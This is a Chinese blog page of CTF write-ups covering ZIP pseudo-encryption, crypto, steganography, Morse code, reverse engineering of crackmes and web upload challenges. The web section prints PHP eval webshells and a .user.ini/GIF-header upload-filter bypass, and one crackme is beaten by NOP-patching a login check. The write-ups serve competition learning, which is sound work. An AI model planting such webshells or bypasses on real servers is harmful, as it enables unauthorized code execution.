首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,538 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
22
篇与
的结果
2022-11-01
【CTF解题】ZIP压缩包伪加密
简介什么是压缩包伪密码?其实就是给一个没有设置密码的压缩包加上密码,不过这个密码不是手打的,而是通过进制修改的,其实压缩包并没有加密,只是伪造了加密的假象,打开后会提示你输入密码才能解压文件,不管怎么爆破也是没用的,因为本来就没有密码。实现步骤1.这里我创建了一个3.txt文本文档,内容写了 hey actdream!。2.这里要选择zip压缩,没有加密码直接压缩到桌面上。3.可以看到压缩包里的文件是没有密码的,现在我用Winhex打开工具可以网上下载,010Editor都是可以的。4.这两块区域都有 14 00 它是解压文件需要的pkware版本,后面接的 00 00 就是全局方式位标记,改成09 00就会提示密码了。5.只需要修改最后一组,然后保存再打开发现需要密码了,这种情况只能该会 00 00 就不需要密码了。解密import os def modify_file(path): if not os.path.exists(path): print("路径不存在") return with open(path, 'rb+') as file: data = file.read() modified_data = data.replace(b'\x14\x00\x09', b'\x14\x00\x00') if modified_data != data: file.seek(0) file.write(modified_data) file.truncate() print("文件修改成功") else: print("未找到需要修改的字节") content = input("请拖入路径:") if content.strip() != "": modify_file(content)结构区分无加密压缩源文件数据区的全局加密应当为00 00且压缩源文件目录区的全局方式位标记应当为00 00伪加密压缩源文件数据区的全局加密应当为00 00且压缩源文件目录区的全局方式位标记应当为09 00真加密压缩源文件数据区的全局加密应当为09 00且压缩源文件目录区的全局方式位标记应当为09 00视频效果{dplayer src="https://www.52tt.pro/usr/uploads/2022/11/2727767437.mp4"/}总结第一个全局方式位标记: 结果会出现不会出现zip伪加密。第二个全局方式位标记 ( 修改为09 00 只要是奇数就行 ) : 只要末位是奇数,就代表加密,反之末位是偶数代表未加密。修改zip文件头(50 4B 03 04)修改成其他数据: 结果出现压缩包损坏,导致文件无法解压。
2022年11月01日
374 阅读
0 评论
5 点赞
2022-10-24
【CTF解题】BugKu - Crypto篇
你以为是md5吗解题1.题目描述了md5这种提示,一般都是出题人的暗示,我就喜欢这么出题。2.下载文件下来是一个txt文本文档,里面有串值看起来是md5,好了直接去在线解密了。3.如果这么想就错了,仔细观察会发现md5是以0-9 a-f 组成十六进制数,里面出现了"i u o"很明显这肯定是出题人加的,去除掉再试试看。4.果然是这样,出结果了还真的是666,那么flag就是这个了。flag{666666666666}简单的RSA解题了解RSARSA算法原理 :RSA公开密钥密码体制的原理是:根据数论,寻求两个大素数比较简单,而将它们的乘积进行因式分解却极其困难,因此可以将乘积公开作为加密密钥。RSA算法的具体描述如下:(1)任意选取两个不同的大素数p和q计算乘积 n = pq,n1 = (p-1)(q-1) ;(2)任意选取一个大整数e,满足gcd(e,n1)=1,整数e用做加密钥(注意:e的选取是很容易的,例如,所有大于p和q的素数都可用);(3)确定的解密钥d,满足(de) mod n1 = 1,即de = k(n1)+1,k >= 1 是一个任意的整数;所以,若知道e和n1,则很容易计算出d;(4)公开整数n和e,秘密保存d ;(5)将明文m(m<n是一个整数)加密成密文c,加密算法为:c = E(m)=m^e mod n;(6)将密文c解密为明文m,解密算法为:m = D(c) = c^d mod n;然而只根据n和e(注意:不是p和q)要计算出d是不可能的。因此,任何人都可对明文进行加密,但只有授权用户(知道d)才可对密文解密。RSA解密算法思路 :通过RSA算法原理的第三点可以看到,需要解密出 明文m,就要知道 密钥d,所以算法思路就围绕密钥d进行求解。密钥d 通过 辗转相除法 (欧几里得算法,我后面才知道的......) 进行求解:1、根据算法原理的第三点我们得知:(de) mod n1 = 1,即 de - k(n1) = 1;2、知道 系数k 即可得到 密钥d,且 系数k 存在两种情况:2.1 情况一:n1 != 12.1.1 先 n1 对 e 取模 后得到的值赋值给 n12.1.2 然后 e 对 赋值后的 n1 取模 得到的值赋值给 e......以此类推,最后得到 k = 1 时即可停止;令 d = 1 代入倒数第二条式子,得到k的值代入倒数第三条式子,以此类推当代入至第一条式子时,得到的 d 即为 密钥d 的值;2.2 情况二:n1 = 12.2.1 按照情况一的步骤,最后得到 n1 = 1 时即可停止;根据情况一的步骤代入即可得到 密钥d 的值。3、使用python内置函数 pow函数即可得到 明文m。题目分析1.题目给我们的是一个python的pyc文件,pyc是python编译出的二进制文件,很好转换成py源码的,想要解密就必须了解RSA加解密算法的原理。2.用工具就可以还原出源代码,这里我用一个在线的网站进行转换。解密网站:https://tool.lu/pyc/from Crypto.Util.number import * import gmpy2 import base64 p = int("0xED7FCFABD3C81C78E212323329DC1EE2BEB6945AB29AB51B9E3A2F9D8B0A22101E467",16) # 将16进制转换成10进制 q = int("0xAD85852F9964DA87880E48ADA5C4487480AA4023A4DE2C0321C170AD801C9",16) e = 65537 n = p * q c = int("0x75AB3202DE3E103B03C680F2BEBBD1EA689C8BF260963FE347B3533B99FB391F0A358FFAE5160D6DCB9FCD75CD3E46B2FE3CFFE9FA2E9508702FD6E4CE43486631",16) phi = (p-1)*(q-1) #求φ(n),φ(n)=(p-1)(q-1) d = gmpy2.invert(e,phi) #求e对于模n的逆元,即解密指数d m = pow(c,d,n) #m=c^e mod n,m为10进制格式 flag = long_to_bytes(m) #m的字符串形式 print(base64.b64decode(flag)) #上面得到的flag是base64编码,进行一次base64解码即可 # 输出结果:flag{IlikeCTFbutCTFdon'tlikeme}3.根据RSA解密算法公式,解出flag。flag{IlikeCTFbutCTFdon'tlikeme}简单的密码解题1.题目意思是简单的密码,感觉不会太难,试着把题目下载看下。2.打开后二进制?一开始我想的是二进制转换成字符串,尝试失败了后来观察了下,会不会通过二进制的0和1给我们返回给一种状态呢,真的是没想到题目里的0代表 . 而 1 代表 - 这就是摩斯密码的规则。3.拿到在线网站解码下,果然是这样的 摩斯密码是以大写显示,我们要转换成小写,%u7b代表字符 " { " , %u7d代表的是 " } " 那么flag就是这个了。4.可以对照下这个摩斯密码表。Bina = "0010 0100 01 110 1111011 11 11111 010 000 0 001101 1010 111 100 0 001101 01111 000 001101 00 10 1 0 010 0 000 1 01111 10 11110 101011 1111101" strbox = "" for i in Bina: if i == "0": strbox += "." if i == "1": strbox += "-" if i == " ": strbox += " " dic = { ".-": "A", "-...": "B", "-.-.":"C","-..":"D", ".":"E","..-.":"F","--.":"G","....":"H", "..":"I",".---":"J","-.-":"K",".-..":"L", "--":"M","-.":"N","---":"O",".--.":"P", "--.-":"Q",".-.":"R","...":"S","-":"T","----.":"9", "..-":"U","...-":"V",".--":"W","-..-":"X", "..--.-":"_",".----":"1", "-.--":"Y","--..":"Z", "----.--":"{","-----.-":"}","-.-.--":"!","-----":"0" } for i in strbox.split(): print(dic[i].lower(), end="")flag{m0rse_code_1s_interest1n9!}来自宇宙的信号解题1."标准银河字母(Standard Galactic Alphabet)"出自游戏《指挥官基恩》系列。2.一开始还真不知道是什么,百度过后才发现还有这种的,学习了这是标准银河字母,按照这张表输入对应的字母,就是正确的flag了。flag{nopqrst}参考文章https://blog.csdn.net/weixin_43211186/article/details/125180939聪明的小羊解题题目类型:Crypto描述: 一只小羊翻过了2个栅栏 fa{fe13f590lg6d46d0d0}1.题目描述看似给我们提供了flag但经过了加密,他给我们提示了关键信息小羊 栅栏 翻过2个,一开始我还不清楚是个什么加密。2.顺着关键字百度,找到了个栅栏密码,还有这种加密长知识赶紧学习了。3.找到个栅栏密码解密工具,设置翻过2组解密见flag。
2022年10月24日
31 阅读
0 评论
2 点赞
2022-10-24
【CTF解题】BugKu - Misc篇
简介首先什么是隐写?其实就是把一些东西给你隐藏到一个地方,让你去通过技术的手段给还原,隐藏的东西可能是恶意代码,压缩包、图片、文字、等等。图片隐写解题1.这道题在图片里隐写了一窜flag值,好让我们先去了解下图片的内部结构。3.以上是图片的基本结构,可以看出里面也有宽和高,一般来说这里也是突破点。3.这里我用Winhex,Windows用习惯了Kali可以用binwalk,然后打开看下里面的字节哪里有异常,发现这里的宽和高不相等,还原下与宽相等就能看到隐写的内容了。easy_nbt解题1.一看是Misc题给我想到隐写和二维码,给自己张记性养成良好的习惯。2.下载下来是一个压缩包,解压下来里面有这些文件,这个咋看起啦有点眼熟好像是我的世界存档文件,先不管了试试搜索flag看看有没有。3.什么也没有,进文件夹里只有几个文件都看了下,都没有flag好了试着换种方法了。4.判断下文件是不是其它文件格式,通过010 Editor找到 level.dat 发现是一个压缩包。5.改下格式发现里面有一个文件,好了用010 Editor打开看下。6.进行搜索找到了,flag就在这里面。flag{Do_u_kN0w_nbt?}1和0的故事解题1.这道题挺有意思的,0和1的二进制题目先下载下来看看。2.题目是一个文本文档,里面有一堆0和1的二进制数,注意下一看到Misc的题目,就给我想到隐写和二维码这类,这里我分析了下0和1可以代表什么东西,这里不卖关子了,可以想0是白色1是黑色组合起来就可以出一个二维码。0000000001110010000000000| 0000000000011110100000000| 0000000001110001000000000| 0000000010111100000000000| 0000000010101010000000000| 0000000001100010100000000| 0000000010101010100000000| 0000000001000001100000000| 1100011101110110100011000| 0001000010110010010010100| 0100111101000011101110011| 0011110100101011001001001| 1000001001100001001101000| 1111000111111011100101000| 1011011111001101111110111| 1000110110010010101101100| 1000111100111111111110111| 0000000010110001100010100| 0000000010010100101010001| 0000000010101010100011001| 0000000000100111111110010| 0000000000011001011110111| 0000000001001100100100001| 0000000011000011011011001| 0000000011010000101110101| 3.可以用文档或者什么自己拼接起来就行,这里我就直接写代码了,注意使用我的代码必须从这里复制,因为我加了个" | "符号,作为换行分割,当然自己加也是可以的。# cmd显示 import os strjoin = "" os.system("cls & color f0") with open("1和0的故事.txt","r") as f: for i in f.readlines(): for s in i.strip(): if s == "0": strjoin += " " if s == "1": strjoin += "■" if s == "|": strjoin += "\n" print(strjoin)# GUI显示 import pygame pygame.init() surface = pygame.display.set_mode((800, 700)) pygame.display.set_caption("actdream") surface.fill((255, 255, 255)) pos = [100,100,20,20] with open("1和0的故事.txt","r") as f: for i in f.readlines(): for s in i.strip(): if s == "0": pos[0] += pos[2] pygame.draw.rect(surface,(255,255,255),pos,0) if s == "1": pos[0] += pos[2] pygame.draw.rect(surface,(0,0,0),pos,0) if s == "|": pos[0] = 100 pos[1] += pos[2] pos[0] += pos[2] pygame.display.update() while True: for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit()4.自己补全下那三个空隙,用微信扫码扫下就出flag了。flag{QR_c0de_1s_1nterest1n9}眼见非实解题1.一看到Misc题目就给我想到隐写,GIF图片隐写、PDF隐写、流量隐写、二维码复原,这类的东西。2.题目下载下来是个word文档,先打开看一下。3.打开后有好几页全是乱码,在这里死磕就死解了,正确的办法是先判断他到底是不是个,word文档一般隐写的题目,就喜欢在文件的二进制里修改,或者是文件后缀。4.这里我用010 Editor工具查看下,一看这头部就有问题,可以看到有PK是个压缩包的头,这就是zip的压缩包。5.我准备了两张图片和两个压缩包,都试下为了区分它们的不同,52 61 72 这个是Rar的ASCII码可以做特征,每个文件都有不同的可自己尝试。6.知道是压缩包了,直接改后缀看看里面,里面有文件我解压出来了。7.这里我直接搜索flag,找到 document.xml文件 flag就在这里面。flag{F1@g}// Golang code package main import ( "fmt" "log" "os" "strings" ) func getinfo() { for { fmt.Printf("%s", "请拖入文件:") var path string fmt.Scan(&path) trans := strings.Replace(path, `\`, `\\`, -1) file, err := os.Open(trans) // For read access. if err != nil { log.Fatal(err) } data := make([]byte, 16) count, err := file.Read(data) if err != nil { log.Fatal(err) } array := map[string]string{ "JFIF": "jpeg图片", "PK": "zip压缩包", "Rar": "rar压缩包", "GIF89a": "gif动态图", "MZ": "exe程序", "Exif": "jpg图片", } for v, k := range array { if strings.Contains(string(data[:count][0:16]), v) { fmt.Printf("%s\n", k) } } } } func main() { getinfo() }8.知道原理了写了一个脚本,来判断是什么文件。9.这里我把后缀改成了png,其实是一个压缩包。
2022年10月24日
44 阅读
0 评论
3 点赞
2022-10-22
【CTF解题】摩尔斯电码 ( Morse code )
简介摩尔斯电码(又译为摩斯密码,Morse code)是一种时通时断的信号代码,通过不同的排列顺序来表达不同的英文字母、数字和标点符号。它发明于1837年,发明者有争议,是美国人塞缪尔·莫尔斯或者艾尔菲德·维尔。 摩尔斯电码是一种早期的数字化通信形式,但是它不同于现代只使用零和一两种状态的二进制代码,它的代码包括五种: 点、划、点和划之间的停顿、每个字符间短的停顿(在点和划之间)、每个词之间中等的停顿以及句子之间长的停顿。26个字母的摩斯密码表字符电码符字符电码符字符电码符字符电码符A.━B━ ...C━ .━ .D━ ..E.F..━ .G━ ━ .H....I..J.━ ━ ━K━ .━L.━ ..M━ ━N━ .O━ ━ ━P.━ ━ .Q━ ━ .━R.━ .S...T━U..━V...━W.━ ━X━ ..━Y━ .━ ━Z━ ━ ..数字的摩斯密码表字符电码符字符电码符字符电码符字符电码符0━ ━ ━ ━ ━1.━ ━ ━ ━2..━ ━ ━3...━ ━4....━5.....6━ ....7━ ━ ...8━ ━ ━ ..9━ ━ ━ ━ . 标点符号的摩斯密码表字符电码符字符电码符字符电码符字符电码符..━ .━ .━:━ ━ ━ ...,━ ━ ..━ ━;━ .━ .━ .?..━ ━ ..=━ ...━'.━ ━ ━ ━ ./━ ..━ .!━ .━ .━ ━━━ ....━_..━ ━ .━".━ ..━ .(━ .━ ━ .)━ .━ ━ .━$...━ ..━&. ...@.━ ━ .━ ..... . .-.. .-.. --- .-- --- .-. .-.. -.. // HELLO WORLD在线转换https://www.lddgo.net/encrypt/morse1.自己写了一个摩斯密码翻译器。{cloud title="下载链接" type="lz" url="https://wwl.lanzoue.com/iQBHx0ejveod" password="ayx9"/}
2022年10月22日
120 阅读
0 评论
1 点赞
2022-10-21
【CTF解题】吾爱破解 Crackme 逆向破解
解题1.在吾爱上看到一篇新帖Crackme,既然还没人解题就让我来试下吧。2.观察下要输入正确的账号密码,才会有成功的提示,注意这里有关键字 "登录失败",可以作为突破口。3.先查软件看下有没有壳,可以看到没有壳,直接用OD打开看下。4.题目说了是易语言写的,直接搜401000这个地址直接跳到程序代码初始头。5.按我的思路肯定先搜索一遍字符串,看看有没有账号和密码。6.我们观察一遍可以看到,有好几个账号密码错误,都可以进去看看,这里我就不卖关子了账号和密码都是 "1",是不是觉得很简单这么玩就没意思了,试着跟下错误的提示修改下输入错误的账号密码,也能执行正确的代码段。破解分析int MessageBox( HWND hWnd, // 窗口句柄 LPCTSTR lpText, // 要显示的消息 LPCTSTR lpCaption, // 对话框标题 UINT uType ); // 函数参数 hWnd 类型:HWND 要创建的消息框的所有者窗口的句柄。如果此参数为NULL,则消息框没有所有者窗口。 lpText 类型:LPCTSTR 要显示的消息。如果字符串由多行组成,则可以使用每行之间的回车符和/或换行符分隔行。 lpCaption 类型:LPCTSTR 对话框标题。如果此参数为NULL,则默认标题为“ 错误”。 uType 输入:UINT 对话框的内容和行为。此参数可以是来自以下标志组的标志的组合。 要指示消息框中显示的按钮,请指定以下值之一。7.MessageBox是kernel32.dll里的函数,他的作用是给我们显示一个窗口提示框,在我们做的任何操作在windows里都会有消息事件,而这些事件都是基于windows给我们提供的api,有这些东西我们就可以编写更强大的功能,也能够更好的驱动硬件。突破点系统api下断点调试 如:MessageBox GetWindowText找关键字提示 如:正确或错误提示 办法还是有很多的00402AB7 /0F84 41000000 je iwong.00402AFE // 这是突破的关键je 是反汇编的判断 00402ABD |. |6A 00 push 0x0 00402ABF |. |6A 00 push 0x0 00402AC1 |. |6A 00 push 0x0 00402AC3 |. |68 04000080 push 0x80000004 // push是往栈压入参数,会有些图标id 00402AC8 |. |6A 00 push 0x0 00402ACA |. |68 998A4900 push iwong.00498A99 ; 登录成功 00402ACF |. |68 01030080 push 0x80000301 00402AD4 |. |6A 00 push 0x0 00402AD6 |. |68 00000000 push 0x0 00402ADB |. |68 04000080 push 0x80000004 00402AE0 |. |6A 00 push 0x0 00402AE2 |. |68 998A4900 push iwong.00498A99 ; 登录成功 00402AE7 |. |68 04000000 push 0x4 00402AEC |. |BB F0324000 mov ebx,iwong.004032F0 00402AF1 |. |E8 1E010000 call iwong.00402C14 // 调用了登录成功提示 00402AF6 |. |83C4 34 add esp,0x34 00402AF9 |. |E9 3C000000 jmp iwong.00402B3A // 返回不执行下一行代码块 00402AFE |> \6A 00 push 0x0 00402B00 |. 6A 00 push 0x0 00402B02 |. 6A 00 push 0x0 00402B04 |. 68 04000080 push 0x80000004 00402B09 |. 6A 00 push 0x0 00402B0B |. 68 A28A4900 push iwong.00498AA2 ; 登录失败 00402B10 |. 68 01030080 push 0x80000301 00402B15 |. 6A 00 push 0x0 00402B17 |. 68 00000000 push 0x0 00402B1C |. 68 04000080 push 0x80000004 00402B21 |. 6A 00 push 0x0 00402B23 |. 68 A28A4900 push iwong.00498AA2 ; 登录失败 00402B28 |. 68 04000000 push 0x4 00402B2D |. BB F0324000 mov ebx,iwong.004032F0 00402B32 |. E8 DD000000 call iwong.00402C14 // 调用了登录失败提示 00402B37 |. 83C4 34 add esp,0x34 00402B3A |> 8BE5 mov esp,ebp 00402B3C |. 5D pop ebp 00402B3D \. C2 0400 retn 0x48.看不懂的话建议先学汇编基础,学起来不是很难的。9.这里我OD运行不了我换了下x32dbg,将402AB7这个地址je给nop掉就行,jne、jmp都是可以的,这样代码就会从402AB7开始走到正确的提示,输入错误的账号密码也是一样的。10.完工,比较简单的一道题。
2022年10月21日
281 阅读
0 评论
7 点赞
2022-10-19
【CTF解题】攻防世界Web篇
easyupload解题题目难度:11.题目名就是简单的上传,一开始我以为什么过滤都没有,直接上传一句话木马试试。2.将一句话木马改成图片格式,上传后修改文件后缀绕过过滤,结果失败了再换种方式试试。// .user.ini GIF89a auto_prepend_file=a.jpg // 一句话 GIF89a <?=eval($_REQUEST['cmd']);?>3、.htaccess是伪静态环境配置文件用于lamp,.user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取,配置放在根目录.user.ini,auto_prepend_file的作用是在页面顶部加载文件,上传.user.ini 然后内容写auto_prepend_file=a.jpg,GIF89a也写进去这是gif的文件头,写进去是为了欺骗。3.先上传.user.ini,把请求头上的文件类型修改成,image/jpg伪装成图片,好的上传成功了。4.一句话木马也上传成功了,再访问upload目录下a.jpg,发现图片是有的,再访问index.php看到一堆乱码里面有GIF89a,这个是就是连接木马的关键网址。5.输入网址和一句话木马,开始连接开始找flag。6.找到了在根目录下,提交下看看是不是对的。upload1解题题目难度:21.题目upload就带有上传的提示,先上传个木马试试,一般前端都有文件类型过滤,也有可能后端有,题目嘛不会那么坑的。2.一般敏感的可文件都上传不了,这里我用一句话和图片合成了,改后缀也是可以的,就决定是你了,上吧,朱菜!!<?php @eval($_POST['zc']);?>3.上传成功之后,就可以开始连接了,上蚁剑能连上就行工具都差不多。
2022年10月19日
396 阅读
0 评论
43 点赞
2022-10-10
【CTF解题】攻防世界逆向篇
Mysterious解题题目难度:2题目描述:自从报名了CTF竞赛后,小明就辗转于各大论坛,但是对于逆向题目仍是一知半解。有一天,一个论坛老鸟给小明发了一个神秘的盒子,里面有开启逆向思维的秘密。小明如获至宝,三天三夜,终于解答出来了,聪明的你能搞定这个神秘盒子么?(答案为flag{XXX}形式)1.是个带GUI的程序,提示让我们输入正确的密码,才会有flag吧先用IDA看下。2.打开后按F5进入伪代码,然后双击进入WinMian函数内。3.我看过了在这个函数里,相关函数自行百度哦本文章不细讲。4.再进一层,就看到主代码了。int __stdcall sub_401090(HWND hWnd, int a2, int a3, int a4) { char v5; // [esp+50h] [ebp-310h] CHAR Text[4]; // [esp+154h] [ebp-20Ch] char v7; // [esp+159h] [ebp-207h] __int16 v8; // [esp+255h] [ebp-10Bh] char v9; // [esp+257h] [ebp-109h] int v10; // [esp+258h] [ebp-108h] CHAR String; // [esp+25Ch] [ebp-104h] char v12; // [esp+25Fh] [ebp-101h] char v13; // [esp+260h] [ebp-100h] char v14; // [esp+261h] [ebp-FFh] memset(&String, 0, 0x104u); v10 = 0; if ( a2 == 16 ) { DestroyWindow(hWnd); PostQuitMessage(0); } else if ( a2 == 273 ) { if ( a3 == 1000 ) { GetDlgItemTextA(hWnd, 1002, &String, 260); strlen(&String); if ( strlen(&String) > 6 ) ExitProcess(0); v10 = atoi(&String) + 1; if ( v10 == 123 && v12 == 120 && v14 == 122 && v13 == 121 ) { strcpy(Text, "flag"); memset(&v7, 0, 0xFCu); v8 = 0; v9 = 0; _itoa(v10, &v5, 10); strcat(Text, "{"); strcat(Text, &v5); strcat(Text, "_"); strcat(Text, "Buff3r_0v3rf|0w"); strcat(Text, "}"); MessageBoxA(0, Text, "well done", 0); } SetTimer(hWnd, 1u, 0x3E8u, TimerFunc); } if ( a3 == 1001 ) KillTimer(hWnd, 1u); } return 0; }5.itoa函数的作用是把整数转换成字符串,相当于 v10 给了v5所以等于 123,strcat是字符拼接,所以拼接起来就是了。flag{123_Buff3r_0v3rf|0w}insanity解题题目难度:3题目描述: 菜鸡觉得前面的题目太难了,来个简单的缓一下1.都提示了,肯定不会很难先用记事本看下,搜索flag好家伙直接发现了,还是用IDA看下内部。2.用IDA打开,先看main函数F5进入伪代码,当然你也可以分析反汇编代码。3.直接见flag,提交下看看。flag:9447{This_is_a_flag}Shuffle解题题目难度:21.直接用IDA打开,一般题目都不加壳,能看到main主函数就没壳,题目有说找到字符串在随机化之前,意思就是字符在之前是完整的,之后就会加密打乱什么的。2.说明flag在之前不会加密,运行初始化之后才会加密,我们先进入main函数分析下,看了会那些字符就是了,通过转ASCII拼接就是完整flag,开始写脚本。byte = [ 83, 69, 67, 67, 79, 78, 123, 87, 101, 108, 99, 111, 109, 101, 32, 116, 111, 32, 116, 104, 101, 32, 83, 69, 67, 67, 79, 78, 32, 50, 48, 49, 52, 32, 67, 84, 70, 33, 125 ] for i in range(len(byte)): print(chr(byte[i]) ,end="")flag:SECCON{Welcome to the SECCON 2014 CTF!}3.直接在IDA转换char也是可以的,自己拼接上就行。simple-unpack解题题目难度:31.题目有说过加壳了,先查壳是个UPX压缩壳,UPX自带脱壳的参数 -d 就是了,先脱个壳先,从信息看到是个64位ELF文件,用64位IDA(废话)。2.脱好壳再查看下,没壳了可以用IDA分析了。3.不用分析了,直接见flag。4.后面用文本查看也可以见flag。Game解题题目难度:31.老规矩查壳,看下木有壳扔IDA分析下。2.其实直接运行按顺序输入1-8的数,就出现flag了,目的似乎达到了,但还是想看下内部逆向下先。3.找到主函数 main,搜索下就好了,再按F5生成伪代码。4.双击进入main_0函数看下。5.找关键,我看过了在这个函数里sub_457AB4()6.再进一层双击进入sub_45E940()函数里,在这里面。7.一直往下翻,可以看到关键进行运算代码段,v2,v58进行两次异或处理 v59,v115 进行异或 再与0x13异或,flag 应该是和v2,v58的字符变量有关。{collapse}{collapse-item label="伪代码"}sub_45A7BE((int)"done!!! the flag is ", v1); v60 = 18; v61 = 64; v62 = 98; v63 = 5; v64 = 2; v65 = 4; v66 = 6; v67 = 3; v68 = 6; v69 = 48; v70 = 49; v71 = 65; v72 = 32; v73 = 12; v74 = 48; v75 = 65; v76 = 31; v77 = 78; v78 = 62; v79 = 32; v80 = 49; v81 = 32; v82 = 1; v83 = 57; v84 = 96; v85 = 3; v86 = 21; v87 = 9; v88 = 4; v89 = 62; v90 = 3; v91 = 5; v92 = 4; v93 = 1; v94 = 2; v95 = 3; v96 = 44; v97 = 65; v98 = 78; v99 = 32; v100 = 16; v101 = 97; v102 = 54; v103 = 16; v104 = 44; v105 = 52; v106 = 32; v107 = 64; v108 = 89; v109 = 45; v110 = 32; v111 = 65; v112 = 15; v113 = 34; v114 = 18; v115 = 16; v116 = 0; v3 = 123; v4 = 32; v5 = 18; v6 = 98; v7 = 119; v8 = 108; v9 = 65; v10 = 41; v11 = 124; v12 = 80; v13 = 125; v14 = 38; v15 = 124; v16 = 111; v17 = 74; v18 = 49; v19 = 83; v20 = 108; v21 = 94; v22 = 108; v23 = 84; v24 = 6; v25 = 96; v26 = 83; v27 = 44; v28 = 121; v29 = 104; v30 = 110; v31 = 32; v32 = 95; v33 = 117; v34 = 101; v35 = 99; v36 = 123; v37 = 127; v38 = 119; v39 = 96; v40 = 48; v41 = 107; v42 = 71; v43 = 92; v44 = 29; v45 = 81; v46 = 107; v47 = 90; v48 = 85; v49 = 64; v50 = 12; v51 = 43; v52 = 76; v53 = 86; v54 = 13; v55 = 114; v56 = 1; v57 = 117; v58 = 126; v59 = 0; for ( i = 0; i < 56; ++i ) { *(&v3 + i) ^= *(&v60 + i); *(&v3 + i) ^= 0x13u; } return sub_45A7BE((int)"%s\n", (unsigned int)&v3); }{/collapse-item}{/collapse}解题代码byte1 = [ 123,32,18,98,119,108,65,41,124,80,125,38,124,111,74,49,83,108,94,108,84,6,96,83,44,121,104,110,32,95,117,101,99,123,127,119,96,48,107,71,92,29,81,107,90,85,64,12,43,76,86,13,114,1,117,126,0 ] byte2 = [ 18, 64, 98, 5, 2, 4, 6, 3, 6, 48, 49, 65,32, 12, 48, 65, 31, 78, 62, 32, 49, 32, 1,57, 96, 3, 21, 9, 4, 62, 3, 5, 4, 1, 2, 3,44, 65, 78, 32, 16,97,54,16,44,52,32,64,89, 45,32,65,15,34,18,16,0 ] for i in range(len(byte1)): ch = chr(byte1[i]^byte2[i]^0x13) print(ch,end="")flag:zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}Hello CTF解题题目难度:41.老规矩看下有壳没,没壳直接拖入IDA进行分析。2.运行后是要求输入正确的flag,我们肯定是没有的需要逆向出来,这些提示就是突破的关键,用IDA打开发现是个32位程序,直接进main函数分析。3.按F5进入伪代码,找关键代码做突破口。int __cdecl main(int argc, const char **argv, const char **envp) { int i; // ebx char v4; // al int result; // eax int v6; // [esp+0h] [ebp-70h] int v7; // [esp+0h] [ebp-70h] char Buffer[2]; // [esp+12h] [ebp-5Eh] BYREF char v9[20]; // [esp+14h] [ebp-5Ch] BYREF char v10[32]; // [esp+28h] [ebp-48h] BYREF __int16 v11; // [esp+48h] [ebp-28h] char v12; // [esp+4Ah] [ebp-26h] char v13[36]; // [esp+4Ch] [ebp-24h] BYREF strcpy(v13, "437261636b4d654a757374466f7246756e"); while ( 1 ) { memset(v10, 0, sizeof(v10)); // 对v10进行了初始化 v11 = 0; v12 = 0; sub_40134B(aPleaseInputYou, v6); scanf("%s", v9); if ( strlen(v9) > 0x11 ) break; for ( i = 0; i < 17; ++i ) { v4 = v9[i]; if ( !v4 ) break; sprintf(Buffer, "%x", v4); strcat(v10, Buffer); // 进行了拼接处理 } if ( !strcmp(v10, v13) ) // 进行了字符串比较,如果v10的值等于v13的值会输出Success sub_40134B(aSuccess, v7); else sub_40134B(aWrong, v7); } sub_40134B(aWrong, v7); result = --Stream._cnt; if ( Stream._cnt < 0 ) return _filbuf(&Stream); ++Stream._ptr; return result; }4.v13的值已经在strcpy这里出现了 437261636b4d654a757374466f7246756e,现在只要知道v10是怎么出来的就行,往上开始分析,分析结果:依次取出用户输入字符串的字符,把字符值的 ASCII 码值转成 16 进制的形式拼接到v10中,v10的值等于v13的值,需将字符串v13中的值两个一组,当作16进制的值,换算成ASCII码并转成对应的字符即可,这样就得到了flag,没有多复杂就看做是把 437261636b4d654a757374466f7246756e 转换成字符串。解题代码str1 = "437261636b4d654a757374466f7246756e" gather = "" count = 0 while count < len(str1): gather += chr(int(str1[count:count + 2], 16)) count += 2 print(gather)flag:CrackMeJustForFun动态调试1.ctrl + G 搜索 401000 跳到这个程序起始的代码段上,往下看。2.找到关键提示,正确和错误肯定就在下面了。3.找到了成功的代码段,和错误的代码段。4.好了再往上滑找到这个地址,401065 看到是个判断,我们在这里下断点。crackme解题题目难度:31.老规矩先查壳,有软件自动脱壳的工具,这里我手动脱下壳。2.可以发现用IDA看下什么都没有,main函数也没有只能脱壳在分析了,其实可以让软件运行起来附加内存,也是能看到脱壳后的代码的。ESP定律脱壳1.拖入软件因为有壳,我们不能运行,按F8单步到2下call这个地址上。2.右键ESP寄存器,下个硬件访问断点,下好了按F9运行。3.再按F8运行两次,会跳到这个jump指令指向00401336这个地址上 。4.右键选择分析,从模块中删除分析。5.再右键选择这个脱壳选项。6.开始脱壳然后保存壳就脱了。静态分析1.可以发现这是我脱好壳的程序,能看到main函数了代码也完整了,可以进一步分析了。2.按F5查看伪代码,进入byte_402130这个函数里看下。3.观察while循环可以发现,(&Buf + v4) ^ byte_402130[v4 % 16]),什么和什么异或了进入函就是这些。解题代码str1="this_is_not_flag" byte=[0x12, 4, 8, 0x14, 0x24, 0x5C, 0x4A, 0x3D, 0x56, 0x0A, 0x10, 0x67, 0, 0x41, 0, 1, 0x46, 0x5A, 0x44, 0x42, 0x6E, 0x0C, 0x44, 0x72, 